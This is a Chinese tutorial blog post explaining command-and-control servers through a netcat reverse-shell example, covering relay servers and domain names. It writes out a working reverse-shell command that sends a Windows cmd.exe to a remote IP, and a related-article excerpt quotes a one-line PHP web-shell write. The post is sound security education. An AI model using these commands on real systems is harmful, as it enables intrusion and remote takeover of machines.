轻松理解什么是 C&C 服务器

大家经常在看恶意软件分析的文章或者关于僵尸网络的报道时经常会看到有关 C&C 服务器的字眼,但是这个 C&C 服务器是什么呢?今天的主题就是带领大家轻松理解什么是 C&C 服务器。

C&C 服务器的全称是 Command and Control Server,翻译过来就是命令和控制服务器,那么他有什么用呢?

通常我们在做渗透测试的时候,在拿到一个 webshell 的时候,我们需要对服务器进行提权操作,如果是一台 windows 的服务器,提权的时候通常是利用本地提权漏洞的 exp 进行溢出提权,有些 exp 可以直接在后面加参数,溢出成功之后执行参数中的命令,而有的 exp 溢出成功之后是返回一个 system 权限的 cmd,这时就需要我们将低权限的 cmd shell 反弹回本地,这里我们使用 nc 在本地执行:

nc -vv -lp 3333

上述命令的意思是在本地监听一个 3333 端口等待连接,假设你的电脑 IP 是公网的,并且 IP 为 114.114.114.114,然后在目标服务器就可以执行:

nc 114.114.114.114 3333 -e cmd.exe

上面的命令就可以把远程服务器的服务器权限的 cmd shell 返回到本地,这时你就可以通过 nc 建立的这个 shell 进行通信,发送你要执行的命令,在远程服务器接收到命令之后执行并将结果返回给你,这时你的本机电脑就是一个简易的 C&C 服务器,如图简单的解释上面的过程:

在这里延伸一下,如果你的本机电脑是在内网中,没有公网 IP,目标服务器也在内网,这时目标不能直接通过 IP 地址连接到你本机,我们该如何做呢?

通常这个过程中是必须一个公网的 IP,只有这样内网的服务器才可以访问进行连接,所以我们可以使用一台中转服务器,这台中转服务器有一个公网 IP 地址是:111.111.111.111,这样不管是目标服务器还是我们本机都可以访问这台中转服务器,这里中转服务器的作用就是将我们本地内网的主机监听的端口映射到公网 IP 的某个端口,这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。

说到这里,我们再延伸一下,由于 IP 地址是随着中转服务器的变化而变化的,每次 IP 的 变化都会导致整个过程都要重新操作一次,每个命令语句都要进行修改,那么我们有什么办法可以解决这个问题?

当然有,这里就涉及大家经常用到的域名了,将上面语句中的 IP 地址修改为我们注册的域名,然后将域名解析到我们的中转服务器,这样即使我们更换了中转服务器,我们也不需要更改执行过的命令。

以上的整个过程就是一个简易 C&C 服务器的进化史,通常我们在网络上看到的文章说 C&C 服务器的 IP 地址或者域名,这里的 C&C 服务器说的就是上面的中转服务器,为什么是中转服务器而不是本地主机呢?

那是因为中转服务器是恶意软件和僵尸网络的直连服务器,是最直接接触的服务器,通常在恶意软件分析或者僵尸网络分析的时候首先分析出来的,所有控制者发送的指令都是经过中转服务器发送到目标服务器的,今天就说到这里吧,欢迎大家留言讨论。

推荐阅读

我们来聊一聊渗透测试

轻松理解什么是 webshell

轻松理解什么是 SQL 注入

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-06-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏linux驱动个人学习

linux内核完全剖析——基于0.12内核-笔记(2)-统一编址和独立编址

IO是什么 ? IO(Input and Output)是输入输出接口。是CPU和其他外部设备(如串口、LCD、触摸屏、LED等)之间通信的接口。一般的,我们说...

39060
来自专栏程序人生

数据的存储

这是我今年一月份在 team 内部的一次分享。介绍了主流的数据存储方案,包括:内存,文件,数据库和消息队列,以及数据序列化/反序列化的方法。很多时候,工具就在那...

38960
来自专栏北京马哥教育

黑客常用linux入侵常用命令,有你不知道的没?

[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog...

27530
来自专栏FreeBuf

CVE-2018-8174 “双杀”0day漏洞复现

最近360核心安全事业部高级威胁应对团队在全球范围内率先监控到了一例使用0day漏洞的APT攻击,捕获到了全球首例利用浏览器0day漏洞的新型Office文档攻...

27100
来自专栏源码之家

最新淘客AppKey申请教程

78220
来自专栏walterlv - 吕毅的博客

Git 更安全的强制推送,--force-with-lease

发布于 2018-05-07 11:16 更新于 2018-09...

22220
来自专栏嵌入式程序猿

SAE J1939 协议简介(大结局)

由于应用层会根据不同的行业和需求有所不同,所以应用层的开发可以参考标准自行研究,关于这个系列,今天是最后一集,我们来讲讲 J1939的网络管理层(J1939/8...

40380
来自专栏编程坑太多

悲观锁与乐观锁

15750
来自专栏北京马哥教育

黑客的Linux神技能:使用环境变量进行提权

在这篇文章中,我将会为大家介绍一些使用环境变量进行Linux提权的方法,包括在CTF challenges中使用到一些的技术。话不多说,让我们进入正题!

21500
来自专栏FreeBuf

内网中使用metasploit进行渗透测试

在渗透测试时,metasploit往往作为后渗透工具。而大多数站点都内网ip。而本屌丝自己的机器也是内网ip,那么两个内网ip怎么建立连接? 以前总是使用lcx...

31280

扫码关注云+社区

领取腾讯云代金券